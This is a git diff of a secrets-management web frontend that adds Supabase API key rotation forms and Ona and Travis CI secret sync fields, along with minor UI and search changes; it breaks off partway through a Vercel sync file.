--- a/frontend/src/components/secret-rotations-v2/ViewSecretRotationV2GeneratedCredentials/ViewSecretRotationV2GeneratedCredentials.tsx
+++ b/frontend/src/components/secret-rotations-v2/ViewSecretRotationV2GeneratedCredentials/ViewSecretRotationV2GeneratedCredentials.tsx
@@ -28,6 +28,7 @@ import { ViewHpIloRotationGeneratedCredentials } from "./ViewHpIloRotationGenera
 import { ViewOktaClientSecretRotationGeneratedCredentials } from "./ViewOktaClientSecretRotationGeneratedCredentials";
 import { ViewOpenRouterApiKeyRotationGeneratedCredentials } from "./ViewOpenRouterApiKeyRotationGeneratedCredentials";
 import { ViewRedisCredentialsRotationGeneratedCredentials } from "./ViewRedisCredentialsRotationGeneratedCredentials";
+import { ViewSupabaseApiKeyRotationGeneratedCredentials } from "./ViewSupabaseApiKeyRotationGeneratedCredentials";
 import { ViewUnixLinuxLocalAccountRotationGeneratedCredentials } from "./ViewUnixLinuxLocalAccountRotationGeneratedCredentials";
 import { ViewWindowsLocalAccountRotationGeneratedCredentials } from "./ViewWindowsLocalAccountRotationGeneratedCredentials";
 
@@ -164,6 +165,13 @@ const Content = ({ secretRotation }: ContentProps) => {
         />
       );
       break;
+    case SecretRotation.SupabaseApiKey:
+      Component = (
+        <ViewSupabaseApiKeyRotationGeneratedCredentials
+          generatedCredentialsResponse={generatedCredentialsResponse}
+        />
+      );
+      break;
     default:
       throw new Error("Unhandled View Generated Credential Rotation Type");
   }
diff --git a/frontend/src/components/secret-rotations-v2/ViewSecretRotationV2GeneratedCredentials/ViewSupabaseApiKeyRotationGeneratedCredentials.tsx b/frontend/src/components/secret-rotations-v2/ViewSecretRotationV2GeneratedCredentials/ViewSupabaseApiKeyRotationGeneratedCredentials.tsx
new file mode 100644
index 00000000000..44159c438e1
--- /dev/null
+++ b/frontend/src/components/secret-rotations-v2/ViewSecretRotationV2GeneratedCredentials/ViewSupabaseApiKeyRotationGeneratedCredentials.tsx
@@ -0,0 +1,32 @@
+import { CredentialDisplay } from "@app/components/secret-rotations-v2/ViewSecretRotationV2GeneratedCredentials/shared/CredentialDisplay";
+import { TSupabaseApiKeyRotationGeneratedCredentialsResponse } from "@app/hooks/api/secretRotationsV2/types/supabase-api-key-rotation";
+
+import { ViewRotationGeneratedCredentialsDisplay } from "./shared";
+
+type Props = {
+  generatedCredentialsResponse: TSupabaseApiKeyRotationGeneratedCredentialsResponse;
+};
+
+export const ViewSupabaseApiKeyRotationGeneratedCredentials = ({
+  generatedCredentialsResponse: { generatedCredentials, activeIndex }
+}: Props) => {
+  const inactiveIndex = activeIndex === 0 ? 1 : 0;
+
+  const activeCredentials = generatedCredentials[activeIndex];
+  const inactiveCredentials = generatedCredentials[inactiveIndex];
+
+  return (
+    <ViewRotationGeneratedCredentialsDisplay
+      activeCredentials={
+        <CredentialDisplay isSensitive label="API Key">
+          {activeCredentials?.apiKey}
+        </CredentialDisplay>
+      }
+      inactiveCredentials={
+        <CredentialDisplay isSensitive label="API Key">
+          {inactiveCredentials?.apiKey}
+        </CredentialDisplay>
+      }
+    />
+  );
+};
diff --git a/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ParametersFields/SecretRotationV2ParametersFields.tsx b/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ParametersFields/SecretRotationV2ParametersFields.tsx
index 66d1035da19..eab5d623ced 100644
--- a/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ParametersFields/SecretRotationV2ParametersFields.tsx
+++ b/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ParametersFields/SecretRotationV2ParametersFields.tsx
@@ -15,6 +15,7 @@ import { OktaClientSecretRotationParametersFields } from "./OktaClientSecretRota
 import { OpenRouterApiKeyRotationParametersFields } from "./OpenRouterApiKeyRotationParametersFields";
 import { RedisCredentialsRotationParametersFields } from "./RedisCredentialsRotationParametersFields";
 import { SqlCredentialsRotationParametersFields } from "./shared";
+import { SupabaseApiKeyRotationParametersFields } from "./SupabaseApiKeyRotationParametersFields";
 import { UnixLinuxLocalAccountRotationParametersFields } from "./UnixLinuxLocalAccountRotationParametersFields";
 import { WindowsLocalAccountRotationParametersFields } from "./WindowsLocalAccountRotationParametersFields";
 
@@ -36,7 +37,8 @@ const COMPONENT_MAP: Record<SecretRotation, React.FC> = {
   [SecretRotation.DbtServiceToken]: DbtServiceTokenRotationParametersFields,
   [SecretRotation.WindowsLocalAccount]: WindowsLocalAccountRotationParametersFields,
   [SecretRotation.OpenRouterApiKey]: OpenRouterApiKeyRotationParametersFields,
-  [SecretRotation.HpIloLocalAccount]: HpIloRotationParametersFields
+  [SecretRotation.HpIloLocalAccount]: HpIloRotationParametersFields,
+  [SecretRotation.SupabaseApiKey]: SupabaseApiKeyRotationParametersFields
 };
 
 export const SecretRotationV2ParametersFields = () => {
diff --git a/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ParametersFields/SupabaseApiKeyRotationParametersFields.tsx b/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ParametersFields/SupabaseApiKeyRotationParametersFields.tsx
new file mode 100644
index 00000000000..67fbcdd2753
--- /dev/null
+++ b/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ParametersFields/SupabaseApiKeyRotationParametersFields.tsx
@@ -0,0 +1,97 @@
+import { Controller, useFormContext, useWatch } from "react-hook-form";
+import { SingleValue } from "react-select";
+
+import { TSecretRotationV2Form } from "@app/components/secret-rotations-v2/forms/schemas";
+import { FilterableSelect, FormControl } from "@app/components/v2";
+import {
+  TSupabaseProject,
+  useSupabaseConnectionListProjects
+} from "@app/hooks/api/appConnections/supabase";
+import { SecretRotation } from "@app/hooks/api/secretRotationsV2";
+import { SupabaseApiKeyType } from "@app/hooks/api/secretRotationsV2/types/supabase-api-key-rotation";
+
+const KEY_TYPE_OPTIONS = [
+  { label: "Publishable", value: SupabaseApiKeyType.Publishable },
+  { label: "Secret", value: SupabaseApiKeyType.Secret }
+];
+
+const formatProjectOptionLabel = (option: TSupabaseProject) => (
+  <span>
+    {option.name} <span className="text-mineshaft-400">(id: {option.id})</span>
+  </span>
+);
+
+export const SupabaseApiKeyRotationParametersFields = () => {
+  const { control } = useFormContext<
+    TSecretRotationV2Form & {
+      type: SecretRotation.SupabaseApiKey;
+    }
+  >();
+
+  const connectionId = useWatch({ name: "connection.id", control });
+
+  const { data: projects = [], isPending: isProjectsLoading } = useSupabaseConnectionListProjects(
+    connectionId,
+    {
+      enabled: Boolean(connectionId)
+    }
+  );
+
+  return (
+    <>
+      <Controller
+        name="parameters.projectRef"
+        control={control}
+        render={({ field: { value, onChange }, fieldState: { error } }) => (
+          <FormControl
+            isError={Boolean(error)}
+            errorText={error?.message}
+            label="Project"
+            tooltipText="The Supabase project to rotate the API key for"
+          >
+            <FilterableSelect
+              isLoading={isProjectsLoading && Boolean(connectionId)}
+              isDisabled={!connectionId}
+              value={projects.find((p) => p.id === value) ?? null}
+              onChange={(option) => {
+                const v = option as SingleValue<TSupabaseProject>;
+                onChange(v?.id ?? null);
+              }}
+              options={projects}
+              placeholder="Select a project..."
+              getOptionLabel={(option) => `${option.name} (id: ${option.id})`}
+              getOptionValue={(option) => option.id}
+              formatOptionLabel={formatProjectOptionLabel}
+            />
+          </FormControl>
+        )}
+      />
+      <Controller
+        name="parameters.keyType"
+        control={control}
+        render={({ field: { value, onChange }, fieldState: { error } }) => (
+          <FormControl
+            isError={Boolean(error)}
+            errorText={error?.message}
+            label="Key Type"
+            tooltipText="Publishable keys are safe to use in browsers and client-side code. Secret keys grant privileged access to the project API and should never be exposed publicly."
+          >
+            <FilterableSelect
+              value={KEY_TYPE_OPTIONS.find((o) => o.value === value) ?? null}
+              onChange={(option) =>
+                onChange(
+                  (option as SingleValue<{ label: string; value: SupabaseApiKeyType }>)?.value ??
+                    null
+                )
+              }
+              options={KEY_TYPE_OPTIONS}
+              getOptionLabel={(option) => option.label}
+              getOptionValue={(option) => option.value}
+              placeholder="Select a key type..."
+            />
+          </FormControl>
+        )}
+      />
+    </>
+  );
+};
diff --git a/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ParametersFields/shared/SqlCredentialsRotationParametersFields.tsx b/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ParametersFields/shared/SqlCredentialsRotationParametersFields.tsx
index 35ce361e1e1..19f4e1cd7c5 100644
--- a/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ParametersFields/shared/SqlCredentialsRotationParametersFields.tsx
+++ b/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ParametersFields/shared/SqlCredentialsRotationParametersFields.tsx
@@ -4,7 +4,7 @@ import { ClipboardCheckIcon, CopyIcon } from "lucide-react";
 import { TSecretRotationV2Form } from "@app/components/secret-rotations-v2/forms/schemas";
 import { FormControl, Input, Tab, TabList, TabPanel, Tabs, TextArea } from "@app/components/v2";
 import { NoticeBannerV2 } from "@app/components/v2/NoticeBannerV2/NoticeBannerV2";
-import { Tooltip, TooltipContent, TooltipTrigger, UnstableIconButton } from "@app/components/v3";
+import { IconButton, Tooltip, TooltipContent, TooltipTrigger } from "@app/components/v3";
 import { useTimedReset } from "@app/hooks";
 import { AppConnection } from "@app/hooks/api/appConnections/enums";
 import { SecretRotation, useSecretRotationV2Option } from "@app/hooks/api/secretRotationsV2";
@@ -107,7 +107,7 @@ export const SqlCredentialsRotationParametersFields = () => {
             </pre>
             <Tooltip>
               <TooltipTrigger asChild>
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   size="xs"
                   className="absolute top-1.5 right-1.5 text-mineshaft-300 hover:text-mineshaft-100"
@@ -118,7 +118,7 @@ export const SqlCredentialsRotationParametersFields = () => {
                   ) : (
                     <CopyIcon className="size-3.5" />
                   )}
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>{isCopied ? "Copied!" : "Copy"}</TooltipContent>
             </Tooltip>
diff --git a/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ReviewFields/SecretRotationReviewFields.tsx b/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ReviewFields/SecretRotationReviewFields.tsx
index 907801493d7..cef3ad5faa5 100644
--- a/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ReviewFields/SecretRotationReviewFields.tsx
+++ b/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ReviewFields/SecretRotationReviewFields.tsx
@@ -17,6 +17,7 @@ import { OktaClientSecretRotationReviewFields } from "./OktaClientSecretRotation
 import { OpenRouterApiKeyRotationReviewFields } from "./OpenRouterApiKeyRotationReviewFields";
 import { RedisCredentialsRotationReviewFields } from "./RedisCredentialsRotationReviewFields";
 import { SqlCredentialsRotationReviewFields } from "./shared";
+import { SupabaseApiKeyRotationReviewFields } from "./SupabaseApiKeyRotationReviewFields";
 import { UnixLinuxLocalAccountRotationReviewFields } from "./UnixLinuxLocalAccountRotationReviewFields";
 import { WindowsLocalAccountRotationReviewFields } from "./WindowsLocalAccountRotationReviewFields";
 
@@ -38,7 +39,8 @@ const COMPONENT_MAP: Record<SecretRotation, React.FC> = {
   [SecretRotation.DbtServiceToken]: DbtServiceTokenRotationReviewFields,
   [SecretRotation.WindowsLocalAccount]: WindowsLocalAccountRotationReviewFields,
   [SecretRotation.OpenRouterApiKey]: OpenRouterApiKeyRotationReviewFields,
-  [SecretRotation.HpIloLocalAccount]: HpIloRotationReviewFields
+  [SecretRotation.HpIloLocalAccount]: HpIloRotationReviewFields,
+  [SecretRotation.SupabaseApiKey]: SupabaseApiKeyRotationReviewFields
 };
 
 export const SecretRotationV2ReviewFields = () => {
diff --git a/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ReviewFields/SupabaseApiKeyRotationReviewFields.tsx b/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ReviewFields/SupabaseApiKeyRotationReviewFields.tsx
new file mode 100644
index 00000000000..f89bcaaf2ce
--- /dev/null
+++ b/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2ReviewFields/SupabaseApiKeyRotationReviewFields.tsx
@@ -0,0 +1,37 @@
+import { useFormContext } from "react-hook-form";
+
+import { TSecretRotationV2Form } from "@app/components/secret-rotations-v2/forms/schemas";
+import { GenericFieldLabel } from "@app/components/v2";
+import { SecretRotation } from "@app/hooks/api/secretRotationsV2";
+import { SupabaseApiKeyType } from "@app/hooks/api/secretRotationsV2/types/supabase-api-key-rotation";
+
+import { SecretRotationReviewSection } from "./shared";
+
+const KEY_TYPE_LABELS: Record<SupabaseApiKeyType, string> = {
+  [SupabaseApiKeyType.Publishable]: "Publishable",
+  [SupabaseApiKeyType.Secret]: "Secret"
+};
+
+export const SupabaseApiKeyRotationReviewFields = () => {
+  const { watch } = useFormContext<
+    TSecretRotationV2Form & {
+      type: SecretRotation.SupabaseApiKey;
+    }
+  >();
+
+  const [parameters, { apiKey }] = watch(["parameters", "secretsMapping"]);
+
+  return (
+    <>
+      <SecretRotationReviewSection label="Parameters">
+        <GenericFieldLabel label="Project Reference">{parameters.projectRef}</GenericFieldLabel>
+        <GenericFieldLabel label="Key Type">
+          {KEY_TYPE_LABELS[parameters.keyType] || parameters.keyType}
+        </GenericFieldLabel>
+      </SecretRotationReviewSection>
+      <SecretRotationReviewSection label="Secrets Mapping">
+        <GenericFieldLabel label="API Key">{apiKey}</GenericFieldLabel>
+      </SecretRotationReviewSection>
+    </>
+  );
+};
diff --git a/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2SecretsMappingFields/SecretRotationV2SecretsMappingFields.tsx b/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2SecretsMappingFields/SecretRotationV2SecretsMappingFields.tsx
index f4d02c179aa..e9878c6577c 100644
--- a/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2SecretsMappingFields/SecretRotationV2SecretsMappingFields.tsx
+++ b/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2SecretsMappingFields/SecretRotationV2SecretsMappingFields.tsx
@@ -14,6 +14,7 @@ import { OktaClientSecretRotationSecretsMappingFields } from "./OktaClientSecret
 import { OpenRouterApiKeyRotationSecretsMappingFields } from "./OpenRouterApiKeyRotationSecretsMappingFields";
 import { RedisCredentialsRotationSecretsMappingFields } from "./RedisCredentialsRotationSecretsMappingFields";
 import { SqlCredentialsRotationSecretsMappingFields } from "./shared";
+import { SupabaseApiKeyRotationSecretsMappingFields } from "./SupabaseApiKeyRotationSecretsMappingFields";
 import { UnixLinuxLocalAccountRotationSecretsMappingFields } from "./UnixLinuxLocalAccountRotationSecretsMappingFields";
 import { WindowsLocalAccountRotationSecretsMappingFields } from "./WindowsLocalAccountRotationSecretsMappingFields";
 
@@ -35,7 +36,8 @@ const COMPONENT_MAP: Record<SecretRotation, React.FC> = {
   [SecretRotation.DbtServiceToken]: DbtServiceTokenRotationSecretsMappingFields,
   [SecretRotation.WindowsLocalAccount]: WindowsLocalAccountRotationSecretsMappingFields,
   [SecretRotation.OpenRouterApiKey]: OpenRouterApiKeyRotationSecretsMappingFields,
-  [SecretRotation.HpIloLocalAccount]: HpIloRotationSecretsMappingFields
+  [SecretRotation.HpIloLocalAccount]: HpIloRotationSecretsMappingFields,
+  [SecretRotation.SupabaseApiKey]: SupabaseApiKeyRotationSecretsMappingFields
 };
 
 export const SecretRotationV2SecretsMappingFields = () => {
diff --git a/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2SecretsMappingFields/SupabaseApiKeyRotationSecretsMappingFields.tsx b/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2SecretsMappingFields/SupabaseApiKeyRotationSecretsMappingFields.tsx
new file mode 100644
index 00000000000..3da2c8e224b
--- /dev/null
+++ b/frontend/src/components/secret-rotations-v2/forms/SecretRotationV2SecretsMappingFields/SupabaseApiKeyRotationSecretsMappingFields.tsx
@@ -0,0 +1,55 @@
+import { useEffect, useRef } from "react";
+import { Controller, useFormContext } from "react-hook-form";
+
+import { TSecretRotationV2Form } from "@app/components/secret-rotations-v2/forms/schemas";
+import { FormControl, Input } from "@app/components/v2";
+import { SecretRotation } from "@app/hooks/api/secretRotationsV2";
+import { SupabaseApiKeyType } from "@app/hooks/api/secretRotationsV2/types/supabase-api-key-rotation";
+
+import { SecretsMappingTable } from "./shared";
+
+const DEFAULT_SECRET_NAME: Record<SupabaseApiKeyType, string> = {
+  [SupabaseApiKeyType.Publishable]: "SUPABASE_PUBLISHABLE_API_KEY",
+  [SupabaseApiKeyType.Secret]: "SUPABASE_SECRET_API_KEY"
+};
+
+export const SupabaseApiKeyRotationSecretsMappingFields = () => {
+  const { control, watch, setValue } = useFormContext<
+    TSecretRotationV2Form & {
+      type: SecretRotation.SupabaseApiKey;
+    }
+  >();
+
+  const keyType = watch("parameters.keyType");
+  const prevKeyTypeRef = useRef<SupabaseApiKeyType | undefined>(undefined);
+
+  useEffect(() => {
+    if (keyType && prevKeyTypeRef.current !== keyType) {
+      setValue("secretsMapping.apiKey", DEFAULT_SECRET_NAME[keyType]);
+    }
+    prevKeyTypeRef.current = keyType;
+  }, [keyType, setValue]);
+
+  const items = [
+    {
+      name: "API Key",
+      input: (
+        <Controller
+          render={({ field: { value, onChange }, fieldState: { error } }) => (
+            <FormControl isError={Boolean(error)} errorText={error?.message}>
+              <Input
+                value={value}
+                onChange={onChange}
+                placeholder={keyType ? DEFAULT_SECRET_NAME[keyType] : "SUPABASE_API_KEY"}
+              />
+            </FormControl>
+          )}
+          control={control}
+          name="secretsMapping.apiKey"
+        />
+      )
+    }
+  ];
+
+  return <SecretsMappingTable items={items} />;
+};
diff --git a/frontend/src/components/secret-rotations-v2/forms/schemas/index.ts b/frontend/src/components/secret-rotations-v2/forms/schemas/index.ts
index 65689435ca8..863061b4f78 100644
--- a/frontend/src/components/secret-rotations-v2/forms/schemas/index.ts
+++ b/frontend/src/components/secret-rotations-v2/forms/schemas/index.ts
@@ -21,6 +21,7 @@ import { OktaClientSecretRotationSchema } from "./okta-client-secret-rotation-sc
 import { OpenRouterApiKeyRotationSchema } from "./open-router-api-key-rotation-schema";
 import { OracleDBCredentialsRotationSchema } from "./oracledb-credentials-rotation-schema";
 import { RedisCredentialsRotationSchema } from "./redis-credentials-rotation-schema";
+import { SupabaseApiKeyRotationSchema } from "./supabase-api-key-rotation-schema";
 import { UnixLinuxLocalAccountRotationSchema } from "./unix-linux-local-account-rotation-schema";
 import { WindowsLocalAccountRotationSchema } from "./windows-local-account-rotation-schema";
 
@@ -44,7 +45,8 @@ export const SecretRotationV2FormSchema = (isUpdate: boolean) =>
         DbtServiceTokenRotationSchema,
         WindowsLocalAccountRotationSchema,
         OpenRouterApiKeyRotationSchema,
-        HpIloRotationSchema
+        HpIloRotationSchema,
+        SupabaseApiKeyRotationSchema
       ]),
       z.object({ id: z.string().optional() })
     )
diff --git a/frontend/src/components/secret-rotations-v2/forms/schemas/supabase-api-key-rotation-schema.ts b/frontend/src/components/secret-rotations-v2/forms/schemas/supabase-api-key-rotation-schema.ts
new file mode 100644
index 00000000000..0ebcf746479
--- /dev/null
+++ b/frontend/src/components/secret-rotations-v2/forms/schemas/supabase-api-key-rotation-schema.ts
@@ -0,0 +1,18 @@
+import { z } from "zod";
+
+import { BaseSecretRotationSchema } from "@app/components/secret-rotations-v2/forms/schemas/base-secret-rotation-v2-schema";
+import { SecretRotation } from "@app/hooks/api/secretRotationsV2";
+import { SupabaseApiKeyType } from "@app/hooks/api/secretRotationsV2/types/supabase-api-key-rotation";
+
+export const SupabaseApiKeyRotationSchema = z
+  .object({
+    type: z.literal(SecretRotation.SupabaseApiKey),
+    parameters: z.object({
+      projectRef: z.string().trim().min(1, "Project reference required"),
+      keyType: z.nativeEnum(SupabaseApiKeyType)
+    }),
+    secretsMapping: z.object({
+      apiKey: z.string().trim().min(1, "API Key secret name required")
+    })
+  })
+  .merge(BaseSecretRotationSchema);
diff --git a/frontend/src/components/secret-syncs/CreateSecretSyncModal.tsx b/frontend/src/components/secret-syncs/CreateSecretSyncModal.tsx
index e504389c05c..1ea95d613a3 100644
--- a/frontend/src/components/secret-syncs/CreateSecretSyncModal.tsx
+++ b/frontend/src/components/secret-syncs/CreateSecretSyncModal.tsx
@@ -66,7 +66,7 @@ export const CreateSecretSyncModal = ({
           )
         }
         className="max-w-2xl"
-        bodyClassName="overflow-visible"
+        bodyClassName={selectedSync ? "overflow-visible" : undefined}
         subTitle={selectedSync ? undefined : "Select a third-party service to sync secrets to."}
       >
         <Content
diff --git a/frontend/src/components/secret-syncs/SecretSyncSelect.tsx b/frontend/src/components/secret-syncs/SecretSyncSelect.tsx
index 881f166107b..c1e3e0405e4 100644
--- a/frontend/src/components/secret-syncs/SecretSyncSelect.tsx
+++ b/frontend/src/components/secret-syncs/SecretSyncSelect.tsx
@@ -24,15 +24,19 @@ export const SecretSyncSelect = ({ onSelect }: Props) => {
     initPerPage: 16
   });
 
-  const filteredOptions = useMemo(
-    () =>
-      secretSyncOptions?.filter(
-        ({ name, destination }) =>
-          name?.toLowerCase().includes(search.trim().toLowerCase()) ||
-          destination.toLowerCase().includes(search.toLowerCase())
-      ) ?? [],
-    [secretSyncOptions, search]
-  );
+  const filteredOptions = useMemo(() => {
+    const searchLower = search.trim().toLowerCase();
+    return (
+      secretSyncOptions?.filter(({ name, destination }) => {
+        const aliases = SECRET_SYNC_MAP[destination]?.aliases ?? [];
+        return (
+          name?.toLowerCase().includes(searchLower) ||
+          destination.toLowerCase().includes(searchLower) ||
+          aliases.some((alias) => alias.toLowerCase().includes(searchLower))
+        );
+      }) ?? []
+    );
+  }, [secretSyncOptions, search]);
 
   useResetPageHelper({
     totalCount: filteredOptions.length,
diff --git a/frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/OnaSyncFields.tsx b/frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/OnaSyncFields.tsx
new file mode 100644
index 00000000000..56a61ab4151
--- /dev/null
+++ b/frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/OnaSyncFields.tsx
@@ -0,0 +1,58 @@
+import { Controller, useFormContext, useWatch } from "react-hook-form";
+import { SingleValue } from "react-select";
+
+import { SecretSyncConnectionField } from "@app/components/secret-syncs/forms/SecretSyncConnectionField";
+import { FilterableSelect, FormControl } from "@app/components/v2";
+import { useOnaConnectionListProjects } from "@app/hooks/api/appConnections/ona";
+import { TOnaProject } from "@app/hooks/api/appConnections/ona/types";
+import { SecretSync } from "@app/hooks/api/secretSyncs";
+
+import { TSecretSyncForm } from "../schemas";
+
+export const OnaSyncFields = () => {
+  const { control, setValue } = useFormContext<TSecretSyncForm & { destination: SecretSync.Ona }>();
+
+  const connectionId = useWatch({ name: "connection.id", control });
+
+  const { data: projects, isLoading: isProjectsLoading } = useOnaConnectionListProjects(
+    connectionId,
+    {
+      enabled: Boolean(connectionId)
+    }
+  );
+
+  return (
+    <>
+      <SecretSyncConnectionField
+        onChange={() => {
+          setValue("destinationConfig.projectId", "");
+          setValue("destinationConfig.projectName", "");
+        }}
+      />
+
+      <Controller
+        name="destinationConfig.projectId"
+        control={control}
+        render={({ field: { value, onChange }, fieldState: { error } }) => (
+          <FormControl isError={Boolean(error)} errorText={error?.message} label="Ona Project">
+            <FilterableSelect
+              menuPlacement="top"
+              isLoading={isProjectsLoading && Boolean(connectionId)}
+              isDisabled={!connectionId}
+              value={projects?.find((p) => p.id === value) ?? null}
+              onChange={(option) => {
+                const selected = option as SingleValue<TOnaProject>;
+                onChange(selected?.id ?? "");
+                setValue("destinationConfig.projectName", selected?.name ?? "");
+              }}
+              options={projects ?? []}
+              placeholder="Select a project..."
+              getOptionLabel={(option) => option.name}
+              getOptionValue={(option) => option.id}
+            />
+          </FormControl>
+        )}
+      />
+    </>
+  );
+};
diff --git a/frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/SecretSyncDestinationFields.tsx b/frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/SecretSyncDestinationFields.tsx
index 00174af087f..59f96008002 100644
--- a/frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/SecretSyncDestinationFields.tsx
+++ b/frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/SecretSyncDestinationFields.tsx
@@ -32,11 +32,13 @@ import { NetlifySyncFields } from "./NetlifySyncFields";
 import { NorthflankSyncFields } from "./NorthflankSyncFields";
 import { OCIVaultSyncFields } from "./OCIVaultSyncFields";
 import { OctopusDeploySyncFields } from "./OctopusDeploySyncFields";
+import { OnaSyncFields } from "./OnaSyncFields";
 import { RailwaySyncFields } from "./RailwaySyncFields";
 import { RenderSyncFields } from "./RenderSyncFields";
 import { SupabaseSyncFields } from "./SupabaseSyncFields";
 import { TeamCitySyncFields } from "./TeamCitySyncFields";
 import { TerraformCloudSyncFields } from "./TerraformCloudSyncFields";
+import { TravisCISyncFields } from "./TravisCISyncFields";
 import { VercelSyncFields } from "./VercelSyncFields";
 import { WindmillSyncFields } from "./WindmillSyncFields";
 import { ZabbixSyncFields } from "./ZabbixSyncFields";
@@ -121,6 +123,10 @@ export const SecretSyncDestinationFields = () => {
       return <AzureEntraIdScimSyncFields />;
     case SecretSync.ExternalInfisical:
       return <ExternalInfisicalSyncFields />;
+    case SecretSync.Ona:
+      return <OnaSyncFields />;
+    case SecretSync.TravisCI:
+      return <TravisCISyncFields />;
     default:
       throw new Error(`Unhandled Destination Config Field: ${destination}`);
   }
diff --git a/frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/TravisCISyncFields.tsx b/frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/TravisCISyncFields.tsx
new file mode 100644
index 00000000000..1034ec23f89
--- /dev/null
+++ b/frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/TravisCISyncFields.tsx
@@ -0,0 +1,102 @@
+import { Controller, useFormContext, useWatch } from "react-hook-form";
+import { SingleValue } from "react-select";
+
+import { SecretSyncConnectionField } from "@app/components/secret-syncs/forms/SecretSyncConnectionField";
+import { FilterableSelect, FormControl } from "@app/components/v2";
+import {
+  TTravisCIBranch,
+  TTravisCIRepository,
+  useTravisCIConnectionListBranches,
+  useTravisCIConnectionListRepositories
+} from "@app/hooks/api/appConnections/travis-ci";
+import { SecretSync } from "@app/hooks/api/secretSyncs";
+
+import { TSecretSyncForm } from "../schemas";
+
+export const TravisCISyncFields = () => {
+  const { control, setValue } = useFormContext<
+    TSecretSyncForm & { destination: SecretSync.TravisCI }
+  >();
+
+  const connectionId = useWatch({ name: "connection.id", control });
+  const currentRepositoryId = useWatch({ name: "destinationConfig.repositoryId", control });
+
+  const { data: repositories = [], isPending: isRepositoriesPending } =
+    useTravisCIConnectionListRepositories(connectionId, {
+      enabled: Boolean(connectionId)
+    });
+
+  const { data: branches = [], isPending: isBranchesPending } = useTravisCIConnectionListBranches(
+    connectionId,
+    currentRepositoryId,
+    {
+      enabled: Boolean(connectionId && currentRepositoryId)
+    }
+  );
+
+  return (
+    <>
+      <SecretSyncConnectionField
+        onChange={() => {
+          setValue("destinationConfig.repositoryId", "");
+          setValue("destinationConfig.repositorySlug", "");
+          setValue("destinationConfig.branch", undefined);
+        }}
+      />
+      <Controller
+        name="destinationConfig.repositoryId"
+        control={control}
+        render={({ field: { value, onChange }, fieldState: { error } }) => (
+          <FormControl isError={Boolean(error)} errorText={error?.message} label="Repository">
+            <FilterableSelect
+              menuPlacement="top"
+              isLoading={isRepositoriesPending && Boolean(connectionId)}
+              isDisabled={!connectionId}
+              value={repositories.find((repo) => repo.id === value) ?? null}
+              onChange={(option) => {
+                const repo = option as SingleValue<TTravisCIRepository>;
+                onChange(repo?.id ?? "");
+                setValue("destinationConfig.repositorySlug", repo?.slug ?? "");
+                setValue("destinationConfig.branch", undefined);
+              }}
+              options={repositories}
+              placeholder="Select a repository..."
+              getOptionLabel={(option) => option.slug}
+              getOptionValue={(option) => option.id}
+            />
+          </FormControl>
+        )}
+      />
+      <Controller
+        name="destinationConfig.branch"
+        control={control}
+        render={({ field: { value, onChange }, fieldState: { error } }) => (
+          <FormControl
+            isError={Boolean(error)}
+            errorText={error?.message}
+            label="Branch"
+            isOptional
+          >
+            <FilterableSelect
+              menuPlacement="top"
+              isClearable
+              isLoading={isBranchesPending && Boolean(connectionId) && Boolean(currentRepositoryId)}
+              isDisabled={!connectionId || !currentRepositoryId}
+              value={branches.find((branch) => branch.name === value) ?? null}
+              onChange={(option) => {
+                const branch = option as SingleValue<TTravisCIBranch>;
+                onChange(branch?.name ?? undefined);
+              }}
+              options={branches}
+              placeholder="Select a branch..."
+              getOptionLabel={(option) =>
+                option.isDefault ? `${option.name} (default)` : option.name
+              }
+              getOptionValue={(option) => option.name}
+            />
+          </FormControl>
+        )}
+      />
+    </>
+  );
+};
diff --git a/frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/VercelSyncFields.tsx b/frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/VercelSyncFields.tsx
index dd9b10cf558..1c4ed581c83 100644
--- a/frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/VercelSyncFields.tsx
+++ b/frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/VercelSyncFields.tsx
@@ -1,11 +1,11 @@
 import { useMemo, useState } from "react";
 import { Controller, useFormContext, useWatch } from "react-hook-form";
 import { MultiValue, SingleValue } from "react-select";
-import { faCircleInfo } from "@fortawesome/free-solid-svg-icons";
+import { faCircleInfo, faTriangleExclamation } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 
 import { SecretSyncConnectionField } from "@app/components/secret-syncs/forms/SecretSyncConnectionField";
-import { FilterableSelect, FormControl, Tooltip } from "@app/components/v2";
+import { FilterableSelect, FormControl, Switch, Tooltip } from "@app/components/v2";
 import { CreatableSelect } from "@app/components/v2/CreatableSelect";
